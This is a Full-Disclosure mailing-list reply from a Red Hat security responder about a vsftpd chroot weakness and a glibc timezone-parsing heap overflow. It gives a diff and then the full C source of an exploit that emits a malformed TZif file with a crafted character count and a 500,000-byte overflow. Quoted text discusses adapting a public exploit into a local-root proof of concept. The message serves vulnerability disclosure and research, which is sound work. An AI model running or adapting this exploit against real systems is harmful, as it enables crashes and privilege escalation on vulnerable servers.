> as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside > the chroot, > so voila we have the same issue as with FreeBSD ftpd/proftpd. > I am now looking into the possibility to modify > http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c > > and use as the library. It will be a fun Proof of Concept.
Hats off to you! :) > > Anyone with an up2date linux local root which only makes use of > syscalls? :> > > All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was > compiled from sources > and launched from xinetd. I've also triggered this in RHEL 6 with its latest version of vsftpd installed with the following changes made to dividead's exploit: --- a.c 2011-12-13 18:05:50.701999990 -0200 +++ b.c 2011-12-13 18:06:26.874000006 -0200 @@ -59,8 +59,8 @@ total_size = ((total_size + __alignof__ (struct ttinfo) - 1) & ~(__alignof__ (struct ttinfo) - 1)); - /* value of chars, to get a malloc(0) */ - evil2 = 0 - total_size; + /* value of chars, to get a malloc(500) */ + evil2 = 0 - total_size + 500; PUT_32BIT_MSB(evil.tzh_charcnt, evil2); p = (char *)&evil; @@ -68,6 +68,6 @@ printf("%c", p[i]); /* data we overflow with */ - for (i = 0; i < 50000; i++) + for (i = 0; i < 500000; i++) printf("A"); } -- Ramon de C Valle / Red Hat Security Response Team
#include <stdio.h> #include <stdint.h> #include <time.h> #include <string.h> #define TZ_MAGIC "TZif" #define PUT_32BIT_MSB(cp, value) \ do { \ (cp)[0] = (value) >> 24; \ (cp)[1] = (value) >> 16; \ (cp)[2] = (value) >> 8; \ (cp)[3] = (value); \ } while (0) struct tzhead { char tzh_magic[4]; char tzh_version[1]; char tzh_reserved[15]; char tzh_ttisgmtcnt[4]; char tzh_ttisstdcnt[4]; char tzh_leapcnt[4]; char tzh_timecnt[4]; char tzh_typecnt[4]; char tzh_charcnt[4]; }; struct ttinfo { long int offset; unsigned char isdst; unsigned char idx; unsigned char isstd; unsigned char isgmt; }; int main(void) { struct tzhead evil; int i; char *p; uint32_t total_size; uint32_t evil1, evil2; /* Initialize static part of the header */ memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1); evil.tzh_version[0] = 0; memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved)); memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt)); memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt)); memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt)); memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt)); /* Initialize nasty part of the header */ evil1 = 500; PUT_32BIT_MSB(evil.tzh_timecnt, evil1); total_size = evil1 * (sizeof(time_t) + 1); total_size = ((total_size + __alignof__ (struct ttinfo) - 1) & ~(__alignof__ (struct ttinfo) - 1)); /* value of chars, to get a malloc(500) */ evil2 = 0 - total_size + 500; PUT_32BIT_MSB(evil.tzh_charcnt, evil2); p = (char *)&evil; for (i = 0; i < sizeof(evil); i++) printf("%c", p[i]); /* data we overflow with */ for (i = 0; i < 500000; i++) printf("A"); }
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/